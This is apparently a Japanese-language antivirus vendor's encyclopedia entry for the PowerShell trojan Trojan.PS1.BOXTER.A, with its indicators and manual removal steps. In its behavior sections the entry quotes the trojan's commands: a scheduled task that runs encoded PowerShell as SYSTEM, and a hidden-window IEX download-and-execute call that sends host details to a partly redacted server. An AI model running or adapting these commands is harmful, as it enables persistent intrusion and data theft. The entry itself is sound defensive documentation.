• Email
• Facebook
• Twitter
• Google+
• Linkedin

Trojan.PS1.BOXTER.A

---

• マルウェアタイプ: トロイの木馬型
• 破壊活動の有無: なし
• 暗号化: なし
• 感染報告の有無: はい

---

  概要

トレンドマイクロは、このマルウェアをNoteworthy（要注意）に分類しました。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

---

  詳細

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• %System%\getmac.exe /FO CSV

(註：%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.)

作成活動

マルウェアは、以下のファイルを作成します。

• %User Temp%\ccc.log
• %User Temp%\kkkk.log

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。)

情報漏えい

マルウェアは、以下の情報を収集します。

• Mac Address
• installed AV
• OS Version
• OS architecture
• Domain
• Username
• Date

その他

マルウェアは、以下を実行します。

• If Administrator role:
  
  • It connects to the following URL to download component loaded in its memory:
  • http://cdn.{BLOCKED}dn.net/p?hig{Date}
  • Creates scheduled task:
  • Task Name: Winnet
  • Trigger: Every 45 minutes
  • Task Action: powershell -ep bypass -e {downloaded b64 encoded} /F
  • Adds the following process to create a scheduled task:
  • schtasks.exe /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -e {downloaded b64 encoded}" /F
• If not Administrator role:
  • It connects to the following URL to download component loaded in its memory:
  • http://cdn.{BLOCKED}dn.net/p?low{Date}
  • Creates scheduled task:
  • Task Name: Winnet
  • Trigger: Every 45 minutes
  • Task Action: powershell -ep bypass -e {downloaded b64 encoded} /F
  • Adds the following process to create a scheduled task:
  • schtasks.exe /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -e {downloaded b64 encoded}" /F
• If %UserTemp\%kkkk.log does not exists, it creates the file and terminates powershell processes running on the machine
• It adds the following process if no other instance of the program is running on the machine:
• /c powershell -nop -w hidden -ep bypass -c IEX (New-Object Net.WebClient).downloadstring("http://{BLOCKED}.{BLOCKED}.103.152/updatev1?mac={mac address}av={av}version={OS version}bit={OS architecture}flag2={flag}domain={domain}user={username}PS={exeflag}

<補足>
情報漏えい

マルウェアは、以下の情報を収集します。

• Macアドレス
• インストールされたウイルス対策製品
• オペレーティングシステム（OS）のバージョン
• OSアーキテクチャ
• ドメイン
• ユーザ名
• 日付

その他

マルウェアは、以下を実行します。

• 管理者ロールの場合:
  • 以下のURLに接続し、コンポーネントをダウンロードしてメモリ内に読み込みます。
    • http://cdn.{BLOCKED}dn.net/p?hig{日付}
  • スケジュールタスクの作成
    • タスク名: Winnet
    • トリガ: 45分毎
    • タスクアクション: powershell -ep bypass -e {ダウンロードされたBase64エンコード} /F
  • 以下のプロセスを追加して、スケジュールタスクを作成します。
    • schtasks.exe /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -e {ダウンロードされたBase64エンコード}" /F
• 管理者ロールでない場合:
  • 以下のURLに接続し、コンポーネントをダウンロードしてメモリ内に読み込みます。
    • http://cdn.{BLOCKED}dn.net/p?low{日付}
  • スケジュールタスクの作成
    • タスク名: Winnet
    • トリガ: 45分毎
    • タスクアクション: powershell -ep bypass -e {ダウンロードされたBase64エンコード} /F
  • 以下のプロセスを追加して、スケジュールされたタスクを作成します。
  • schtasks.exe /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -e {ダウンロードされたBase64エンコード}" /F
  • %UserTemp\%kkkk.log が存在しない場合、マルウェアは当該ファイルを作成し、感染コンピュータ上で実行されている PowerShell プロセスを終了します。
  • マルウェアは、プログラムの他のインスタンスが感染コンピュータ上で実行されていない場合は、以下のプロセスを追加します。
    • /c powershell -nop -w hidden -ep bypass -c IEX (New-Object Net.WebClient).downloadstring("http://{BLOCKED}.{BLOCKED}.103.152/updatev1?mac={Macアドレス}av={ウイルス対策製品}version={OSのバージョン}bit={OSアーキテクチャ}flag2={フラグ}domain={ドメイン}user={ユーザ名}PS={exeflag}

  ---

    対応方法

  対応検索エンジン: 9.800

  初回 VSAPI パターンバージョン 16.586.02

  初回 VSAPI パターンリリース日 2021年3月10日

  VSAPI OPR パターンバージョン 16.587.00

  VSAPI OPR パターンリリース日 2021年3月11日

  手順 1

  Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

  手順 2

  このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム（OS）の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル／フォルダ／レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

  手順 3

  以下のファイルを検索し削除します。

  [ 詳細 ]

  [ 戻る ]

  コンポーネントファイルが隠しファイル属性の場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。  

  • %User Temp%\ccc.log
  • %User Temp%\kkkk.log

  マルウェアのコンポーネントファイルの削除：

• Windows 2000、XP および Server 2003 の場合：
  1. [スタート]-[検索]-[ファイルとフォルダすべて]を選択します。
  2. [ファイル名のすべてまたは一部]に以下のファイル名を入力してください。
      
     • %User Temp%\ccc.log
     • %User Temp%\kkkk.log
  3. [探す場所]の一覧から[マイコンピュータ]を選択し、[検索]を押します。
  4. 検索が終了したら、ファイルを選択し、SHIFT+DELETE を押します。これにより、ファイルが完全に削除されます。
  5. 残りのファイルに対して、マルウェアのコンポーネントファイルの削除の手順 2.）から4 .）を繰り返してください。

• Windows Vista、7、Server 2008、8、8.1 および Server 2012 の場合：
  1. Windowsエクスプローラ画面を開きます。
     • Windows Vista、7 および Server 2008 の場合：
       • [スタート]-[コンピューター]を選択します。
     • Windows 8、8.1 および Server 2012 の場合：
       • 画面の左下隅を右クリックし、[エクスプローラー]を選択します。
  2. [コンピューターの検索]に、以下を入力します。
      
     • %User Temp%\ccc.log
     • %User Temp%\kkkk.log
  3. ファイルが表示されたら、そのファイルを選択し、SHIFT+DELETE を押します。これにより、ファイルが完全に削除されます。
  4. 残りのファイルに対して、マルウェアのコンポーネントファイルの削除の手順 2.）から4 .）を繰り返してください。
     註：Windows 7 において上記の手順が正しく行われない場合、マイクロソフトのWebサイトをご確認ください。